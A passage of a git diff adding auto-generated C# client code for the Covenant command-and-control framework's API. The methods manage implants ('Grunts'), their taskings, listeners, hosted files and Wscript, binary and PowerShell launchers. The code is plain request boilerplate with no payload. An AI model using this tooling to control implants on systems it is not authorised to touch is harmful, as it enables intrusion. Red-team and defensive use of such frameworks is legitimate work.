operations.ApiLaunchersWscriptPostAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWscriptPostAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWscriptPostWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static WscriptLauncher ApiLaunchersWscriptHostedPost(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiLaunchersWscriptHostedPostAsync(hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiLaunchersWscriptHostedPostAsync(this ICovenantAPI operations, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiLaunchersWscriptHostedPostWithHttpMessagesAsync(hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiListenersTypesGet(this ICovenantAPI operations) + { + return operations.ApiListenersTypesGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiListenersTypesGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersTypesGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static ListenerType ApiListenersTypesByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiListenersTypesByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersTypesByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersTypesByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiListenersGet(this ICovenantAPI operations) + { + return operations.ApiListenersGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiListenersGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Listener ApiListenersPut(this ICovenantAPI operations, Listener listener = default(Listener)) + { + return operations.ApiListenersPutAsync(listener).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersPutAsync(this ICovenantAPI operations, Listener listener = default(Listener), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersPutWithHttpMessagesAsync(listener, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Listener ApiListenersByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiListenersByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Listener ApiListenersByIdDelete(this ICovenantAPI operations, int id) + { + return operations.ApiListenersByIdDeleteAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdDeleteAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdDeleteWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Models.HttpListener ApiListenersHttpByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiListenersHttpByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersHttpByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersHttpByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Models.HttpListener ApiListenersHttpPut(this ICovenantAPI operations, Models.HttpListener httpListener = default(Models.HttpListener)) + { + return operations.ApiListenersHttpPutAsync(httpListener).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersHttpPutAsync(this ICovenantAPI operations, Models.HttpListener httpListener = default(Models.HttpListener), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersHttpPutWithHttpMessagesAsync(httpListener, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Models.HttpListener ApiListenersHttpPost(this ICovenantAPI operations, Models.HttpListener listener = default(Models.HttpListener)) + { + return operations.ApiListenersHttpPostAsync(listener).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersHttpPostAsync(this ICovenantAPI operations, Models.HttpListener listener = default(Models.HttpListener), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersHttpPostWithHttpMessagesAsync(listener, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static IList ApiListenersByIdHostedfilesGet(this ICovenantAPI operations, int id) + { + return operations.ApiListenersByIdHostedfilesGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task> ApiListenersByIdHostedfilesGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdHostedfilesGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static HostedFile ApiListenersByIdHostedfilesPost(this ICovenantAPI operations, int id, HostedFile hostFileRequest = default(HostedFile)) + { + return operations.ApiListenersByIdHostedfilesPostAsync(id, hostFileRequest).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdHostedfilesPostAsync(this ICovenantAPI operations, int id, HostedFile hostFileRequest = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdHostedfilesPostWithHttpMessagesAsync(id, hostFileRequest, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static HostedFile ApiListenersByIdHostedfilesByHfidGet(this ICovenantAPI operations, int id, int hfid) + { + return operations.ApiListenersByIdHostedfilesByHfidGetAsync(id, hfid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdHostedfilesByHfidGetAsync(this ICovenantAPI operations, int id, int hfid, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdHostedfilesByHfidGetWithHttpMessagesAsync(id, hfid, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// + public static HostedFile ApiListenersByIdHostedfilesByHfidPut(this ICovenantAPI operations, int id, int hfid, HostedFile hostedFile = default(HostedFile)) + { + return operations.ApiListenersByIdHostedfilesByHfidPutAsync(id, hfid, hostedFile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdHostedfilesByHfidPutAsync(this ICovenantAPI operations, int id, int hfid, HostedFile hostedFile = default(HostedFile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdHostedfilesByHfidPutWithHttpMessagesAsync(id, hfid, hostedFile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + public static void ApiListenersByIdHostedfilesByHfidDelete(this ICovenantAPI operations, int id, int hfid) + { + operations.ApiListenersByIdHostedfilesByHfidDeleteAsync(id, hfid).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdHostedfilesByHfidDeleteAsync(this ICovenantAPI operations, int id, int hfid, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiListenersByIdHostedfilesByHfidDeleteWithHttpMessagesAsync(id, hfid, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static HttpProfile ApiListenersByIdProfileGet(this ICovenantAPI operations, int id) + { + return operations.ApiListenersByIdProfileGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiListenersByIdProfileGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiListenersByIdProfileGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiProfilesGet(this ICovenantAPI operations) + { + return operations.ApiProfilesGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiProfilesGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Profile ApiProfilesPut(this ICovenantAPI operations, Profile profile = default(Profile)) + { + return operations.ApiProfilesPutAsync(profile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesPutAsync(this ICovenantAPI operations, Profile profile = default(Profile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesPutWithHttpMessagesAsync(profile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Profile ApiProfilesPost(this ICovenantAPI operations, Profile profile = default(Profile)) + { + return operations.ApiProfilesPostAsync(profile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesPostAsync(this ICovenantAPI operations, Profile profile = default(Profile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesPostWithHttpMessagesAsync(profile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Profile ApiProfilesByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiProfilesByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static void ApiProfilesByIdDelete(this ICovenantAPI operations, int id) + { + operations.ApiProfilesByIdDeleteAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesByIdDeleteAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiProfilesByIdDeleteWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + /// + /// The operations group for this extension method. + /// + public static IList ApiProfilesHttpGet(this ICovenantAPI operations) + { + return operations.ApiProfilesHttpGetAsync().GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// The cancellation token. + /// + public static async Task> ApiProfilesHttpGetAsync(this ICovenantAPI operations, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesHttpGetWithHttpMessagesAsync(null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static Profile ApiProfilesHttpPut(this ICovenantAPI operations, HttpProfile profile = default(HttpProfile)) + { + return operations.ApiProfilesHttpPutAsync(profile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesHttpPutAsync(this ICovenantAPI operations, HttpProfile profile = default(HttpProfile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesHttpPutWithHttpMessagesAsync(profile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static HttpProfile ApiProfilesHttpPost(this ICovenantAPI operations, HttpProfile profile = default(HttpProfile)) + { + return operations.ApiProfilesHttpPostAsync(profile).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesHttpPostAsync(this ICovenantAPI operations, HttpProfile profile = default(HttpProfile), CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesHttpPostWithHttpMessagesAsync(profile, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static HttpProfile ApiProfilesHttpByIdGet(this ICovenantAPI operations, int id) + { + return operations.ApiProfilesHttpByIdGetAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesHttpByIdGetAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + using (var _result = await operations.ApiProfilesHttpByIdGetWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)) + { + return _result.Body; + } + } + + /// + /// The operations group for this extension method. + /// + /// + /// + public static void ApiProfilesHttpByIdDelete(this ICovenantAPI operations, int id) + { + operations.ApiProfilesHttpByIdDeleteAsync(id).GetAwaiter().GetResult(); + } + + /// + /// The operations group for this extension method. + /// + /// + /// + /// + /// The cancellation token. + /// + public static async Task ApiProfilesHttpByIdDeleteAsync(this ICovenantAPI operations, int id, CancellationToken cancellationToken = default(CancellationToken)) + { + (await operations.ApiProfilesHttpByIdDeleteWithHttpMessagesAsync(id, null, cancellationToken).ConfigureAwait(false)).Dispose(); + } + + } +} diff --git a/Covenant/API/ICovenantAPI.cs b/Covenant/API/ICovenantAPI.cs new file mode 100644 index 00000000..18072094 --- /dev/null +++ b/Covenant/API/ICovenantAPI.cs @@ -0,0 +1,1126 @@ +// +// Code generated by Microsoft (R) AutoRest Code Generator. +// Changes may cause incorrect behavior and will be lost if the code is +// regenerated. +// + +namespace Covenant.API +{ + using Microsoft.Rest; + using Models; + using Newtonsoft.Json; + using System.Collections; + using System.Collections.Generic; + using System.Threading; + using System.Threading.Tasks; + + /// + /// + public partial interface ICovenantAPI : System.IDisposable + { + /// + /// The base URI of the service. + /// + System.Uri BaseUri { get; set; } + + /// + /// Gets or sets json serialization settings. + /// + JsonSerializerSettings SerializationSettings { get; } + + /// + /// Gets or sets json deserialization settings. + /// + JsonSerializerSettings DeserializationSettings { get; } + + /// + /// Subscription credentials which uniquely identify client + /// subscription. + /// + ServiceClientCredentials Credentials { get; } + + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiUsersGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiUsersPutWithHttpMessagesAsync(CovenantUser user = default(CovenantUser), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiUsersPostWithHttpMessagesAsync(CovenantUserLogin login = default(CovenantUserLogin), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiUsersByUidGetWithHttpMessagesAsync(string uid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiUsersByUidDeleteWithHttpMessagesAsync(string uid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiUsersLoginPostWithHttpMessagesAsync(CovenantUserLogin login = default(CovenantUserLogin), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiUsersRolesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiUsersByUidRolesGetWithHttpMessagesAsync(string uid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiUsersByUidRolesByRidGetWithHttpMessagesAsync(string uid, string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiUsersByUidRolesByRidPostWithHttpMessagesAsync(string uid, string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiUsersByUidRolesByRidDeleteWithHttpMessagesAsync(string uid, string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiRolesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiRolesByRidGetWithHttpMessagesAsync(string rid, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiEventsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiEventsPostWithHttpMessagesAsync(EventModel anEvent = default(EventModel), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiEventsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiEventsTimeGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiEventsRangeByFromdateGetWithHttpMessagesAsync(long fromdate, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiEventsRangeByFromdateByTodateGetWithHttpMessagesAsync(long fromdate, long todate, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiEventsDownloadByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiEventsDownloadByIdContentGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiEventsDownloadPostWithHttpMessagesAsync(DownloadEvent downloadEvent = default(DownloadEvent), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiGruntsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntsPutWithHttpMessagesAsync(Grunt grunt = default(Grunt), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntsPostWithHttpMessagesAsync(Grunt grunt = default(Grunt), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiGruntsByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiGruntTasksGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntTasksByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntTasksByIdPutWithHttpMessagesAsync(int id, GruntTask task = default(GruntTask), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntTasksByIdPostWithHttpMessagesAsync(int id, GruntTask task = default(GruntTask), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiGruntTasksByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntTasksByTasknameGetWithHttpMessagesAsync(string taskname, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiGruntsByIdTaskingsGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntsByIdTaskingsPostWithHttpMessagesAsync(int id, GruntTasking gruntTasking = default(GruntTasking), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntsByIdTaskingsByTasknameGetWithHttpMessagesAsync(int id, string taskname, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiGruntsByIdTaskingsByTasknamePutWithHttpMessagesAsync(int id, string taskname, GruntTasking gruntTasking = default(GruntTasking), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiGruntsByIdTaskingsByTasknameDeleteWithHttpMessagesAsync(int id, string taskname, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsResultsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiIndicatorsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsPutWithHttpMessagesAsync(Indicator indicator = default(Indicator), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsPostWithHttpMessagesAsync(Indicator indicator = default(Indicator), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiIndicatorsFilesGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiIndicatorsNetworksGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiIndicatorsTargetsGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task ApiIndicatorsByIdDeleteWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsFilesByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsNetworksByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiIndicatorsTargetsByIdGetWithHttpMessagesAsync(int id, Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task>> ApiLaunchersGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersBinaryGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersBinaryPutWithHttpMessagesAsync(BinaryLauncher binaryLauncher = default(BinaryLauncher), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersBinaryPostWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersBinaryHostedPostWithHttpMessagesAsync(HostedFile hostedFile = default(HostedFile), Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + /// The headers that will be added to request. + /// + /// + /// The cancellation token. + /// + Task> ApiLaunchersPowershellGetWithHttpMessagesAsync(Dictionary> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); + + /// + 